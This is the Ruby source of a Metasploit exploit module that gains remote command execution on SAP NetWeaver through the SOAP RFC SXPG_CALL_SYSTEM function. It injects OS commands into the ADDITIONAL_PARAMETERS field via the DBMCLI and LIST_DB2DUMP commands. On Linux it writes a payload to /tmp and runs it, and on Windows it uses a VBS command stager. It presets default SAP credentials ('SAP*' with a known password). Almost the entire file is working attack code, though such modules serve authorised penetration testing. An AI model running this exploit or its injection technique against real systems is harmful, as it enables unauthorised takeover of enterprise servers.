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## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## ## # This module is based on, inspired by, or is a port of a plugin available in # the Onapsis Bizploit Opensource ERP Penetration Testing framework - # http://www.onapsis.com/research-free-solutions.php. # Mariano Nunez (the author of the Bizploit framework) helped me in my efforts # in producing the Metasploit modules and was happy to share his knowledge and # experience - a very cool guy. # # The following guys from ERP-SCAN deserve credit for their contributions - # Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and # Dmitry Evdokimov. # # I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis # who have Beta tested the modules and provided excellent feedback. Some people # just seem to enjoy hacking SAP :) ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::CmdStagerVBS include Msf::Exploit::EXE include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution', 'Description' => %q{ This module abuses the SAP NetWeaver SXPG_CALL_SYSTEM function, on the SAP SOAP RFC Service, to execute remote commands. This module needs SAP credentials with privileges to use the /sap/bc/soap/rfc in order to work. The module has been tested successfully on Windows 2008 64 bits and Linux 64 bits platforms. }, 'References' => [ [ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ] ], 'DisclosureDate' => 'Mar 26 2013', 'Platform' => ['win', 'unix'], 'Targets' => [ [ 'Linux', { 'Arch' => ARCH_CMD, 'Platform' => 'unix' #'Payload'=> #{ #'DisableNops' => true, #'Space' => 232, #'Compat'=> #{ #'PayloadType' => 'cmd', #'RequiredCmd' => 'perl ruby', #} #} } ], [ 'Windows x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'win' } ] ], 'DefaultTarget' => 0, 'Privileged' => false, 'Author' => [ 'nmonkee' ], 'License' => MSF_LICENSE ) register_options( [ Opt::RPORT(8000), OptString.new('CLIENT', [true, 'SAP Client', '001']), OptString.new('USERNAME', [true, 'Username', 'SAP*']), OptString.new('PASSWORD', [true, 'Password', '06071992']) ], self.class) register_advanced_options( [ OptInt.new('PAYLOAD_SPLIT', [true, 'Size of payload segments (Windows Target)', 250]), ], self.class) end def send_soap_request(data) res = send_request_cgi({ 'uri' => '/sap/bc/soap/rfc', 'method' => 'POST', 'data' => data, 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), 'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'], 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { 'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions', }, 'vars_get' => { 'sap-client' => datastore['CLIENT'], 'sap-language' => 'EN' } }) return res end def build_soap_request(command, sap_command, sap_os) data = "<?xml version=\"1.0\" encoding=\"utf-8\" ?>" data << "<env:Envelope xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\" xmlns:env=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">" data << "<env:Body>" data << "<n1:SXPG_CALL_SYSTEM xmlns:n1=\"urn:sap-com:document:sap:rfc:functions\" env:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" data << "<ADDITIONAL_PARAMETERS>#{command}</ADDITIONAL_PARAMETERS>" data << "<COMMANDNAME>#{sap_command}</COMMANDNAME>" data << "<OPERATINGSYSTEM>#{sap_os}</OPERATINGSYSTEM>" data << "<EXEC_PROTOCOL><item></item></EXEC_PROTOCOL>" data << "</n1:SXPG_CALL_SYSTEM>" data << "</env:Body>" data << "</env:Envelope>" return data end def check data = rand_text_alphanumeric(4 + rand(4)) res = send_soap_request(data) if res and res.code == 500 and res.body =~ /faultstring/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Safe end def exploit if target.name =~ /Windows/ linemax = datastore['PAYLOAD_SPLIT'] vprint_status("#{rhost}:#{rport} - Using custom payload size of #{linemax}") if linemax != 250 print_status("#{rhost}:#{rport} - Sending SOAP SXPG_CALL_SYSTEM request") execute_cmdstager({ :delay => 0.35, :linemax => linemax }) elsif target.name =~ /Linux/ file = rand_text_alphanumeric(5) stage_one = create_unix_payload(1,file) print_status("#{rhost}:#{rport} - Dumping the payload to /tmp/#{file}...") res = send_soap_request(stage_one) if res and res.code == 200 and res.body =~ /External program terminated/ print_good("#{rhost}:#{rport} - Payload dump was successful") else fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Payload dump failed") end stage_two = create_unix_payload(2,file) print_status("#{rhost}:#{rport} - Executing /tmp/#{file}...") send_soap_request(stage_two) end end def create_unix_payload(stage, file) command = "" if target.name =~ /Linux/ if stage == 1 my_payload = payload.encoded.gsub(" ","\t") my_payload.gsub!("&","&") my_payload.gsub!("<","<") command = "-o /tmp/" + file + " -n pwnie" + "\n!" command << my_payload command << "\n" elsif stage == 2 command = "-ic /tmp/" + file end end return build_soap_request(command.to_s, "DBMCLI", "ANYOS") end def execute_command(cmd, opts) command = cmd.gsub(/&/, "&") command.gsub!(/%TEMP%\\/, "") data = build_soap_request("&#{command}", "LIST_DB2DUMP", "ANYOS") begin res = send_soap_request(data) if res and res.code == 200 return else if res and res.body =~ /faultstring/ error = res.body.scan(%r{<faultstring>(.*?)</faultstring>}) 0.upto(error.length-1) do |i| vprint_error("#{rhost}:#{rport} - Error #{error[i]}") end end fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Error injecting command") end rescue ::Rex::ConnectionError fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Unable to connect") end end end |
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